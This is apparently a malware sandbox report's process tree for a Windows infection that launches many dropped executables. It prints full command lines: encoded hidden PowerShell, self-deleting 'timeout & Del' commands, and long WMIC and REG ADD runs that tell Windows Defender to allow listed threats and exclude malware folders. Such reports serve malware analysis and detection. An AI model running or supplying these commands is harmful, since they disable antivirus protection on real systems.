PID:5428

C:\Users\Admin\AppData\Local\Temp\3002.exe
"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
9⤵
PID:6896

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
8⤵
- Executes dropped EXE
PID:5808

C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
8⤵
- Executes dropped EXE
PID:4172

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun1908b94df837b3158.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:3672

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun1908b94df837b3158.exe
Sun1908b94df837b3158.exe
6⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4236

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun198361825f4.exe
5⤵
PID:4216

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun198361825f4.exe
Sun198361825f4.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4772

C:\Users\Admin\AppData\Local\Temp\tmpE9F2_tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpE9F2_tmp.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3356

C:\Users\Admin\AppData\Local\Temp\tmpE9F2_tmp.exe
C:\Users\Admin\AppData\Local\Temp\tmpE9F2_tmp.exe
8⤵
- Executes dropped EXE
PID:1628

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun1966fb31dd5a07.exe
5⤵
PID:4484

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun195a1614ec24e6a.exe
5⤵
PID:4436

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun1905815e51282417.exe
5⤵
PID:4376

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun19eb40faaaa9.exe
5⤵
PID:4176

C:\Users\Admin\AppData\Local\Temp\8907.exe
C:\Users\Admin\AppData\Local\Temp\8907.exe
2⤵
PID:4920

C:\Users\Admin\AppData\Local\Temp\A4AE.exe
C:\Users\Admin\AppData\Local\Temp\A4AE.exe
2⤵
- Loads dropped DLL
PID:4792

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\A4AE.exe"
3⤵
PID:8152

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:4516

C:\Users\Admin\AppData\Local\Temp\CA92.exe
C:\Users\Admin\AppData\Local\Temp\CA92.exe
2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:8392

C:\Users\Admin\AppData\Local\Temp\D87D.exe
C:\Users\Admin\AppData\Local\Temp\D87D.exe
2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4296

C:\Users\Admin\AppData\Local\Temp\2F1A.exe
C:\Users\Admin\AppData\Local\Temp\2F1A.exe
2⤵
PID:6824

C:\Users\Admin\AppData\Local\Temp\3833.exe
C:\Users\Admin\AppData\Local\Temp\3833.exe
2⤵
- Loads dropped DLL
PID:4244

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\3833.exe"
3⤵
- Blocklisted process makes network request
PID:5904

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:7304

C:\Users\Admin\AppData\Local\Temp\3C5B.exe
C:\Users\Admin\AppData\Local\Temp\3C5B.exe
2⤵
- Suspicious use of SetThreadContext
PID:2968

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA==
3⤵
PID:4724

C:\Users\Admin\AppData\Local\Temp\3C5B.exe
C:\Users\Admin\AppData\Local\Temp\3C5B.exe
3⤵
PID:2236

C:\Users\Admin\AppData\Local\Temp\508F.exe
C:\Users\Admin\AppData\Local\Temp\508F.exe
2⤵
PID:9132

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2636

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2624

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T /R
2⤵
PID:5848

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:4720

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2384

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2344

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1848

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1376

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1360

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1136

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1104

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
PID:8812

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:6204

C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\tVitMcR.exe
C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\tVitMcR.exe W8 /site_id 668658 /S
2⤵
- Drops file in System32 directory
PID:8200

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
3⤵
PID:3844

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:4552

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
- Blocklisted process makes network request
PID:2184

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:7880

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:6744

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:8588

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:5912

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:7996

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:6888

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:6744

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:2200

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6596

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:8440

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:5180

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
PID:5496

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:4120

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:6852

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:8520

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:6164

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
5⤵
PID:7244

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
4⤵
PID:3184

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
4⤵
PID:7176

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
4⤵
PID:5240

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
4⤵
PID:2260

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
4⤵
PID:7984

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
4⤵
PID:4812

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
4⤵
PID:4324

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
4⤵
PID:6844

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
4⤵
PID:6428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
4⤵
PID:5128

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
4⤵
PID:7672

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
4⤵
PID:7708

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
4⤵
PID:4568

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
4⤵
PID:5932

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
4⤵
PID:5496

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
4⤵
PID:5156

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
4⤵
PID:6372

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
4⤵
PID:7344

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
4⤵
PID:7568

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
4⤵
PID:8604

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
4⤵
PID:7472

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
4⤵
PID:8836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
4⤵
PID:8344

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NMbcPgNClKinC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NMbcPgNClKinC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\STjmdXhOU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\STjmdXhOU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YceypsUXabDXnCzNCPR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YceypsUXabDXnCzNCPR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZHcfdgyasGUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZHcfdgyasGUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gaSWcYIjjvwU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gaSWcYIjjvwU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\QPFeEjmgnBUOfRVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\QPFeEjmgnBUOfRVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\" /t REG_DWORD /d 0 /reg:64;"
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3952

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:8432

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:32
5⤵
PID:8380

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:64
4⤵
- Drops file in Program Files directory
PID:1540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:8012

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:7392

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:8160

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:6172

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1396

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1088

C:\Windows\SysWOW64\reg.exe
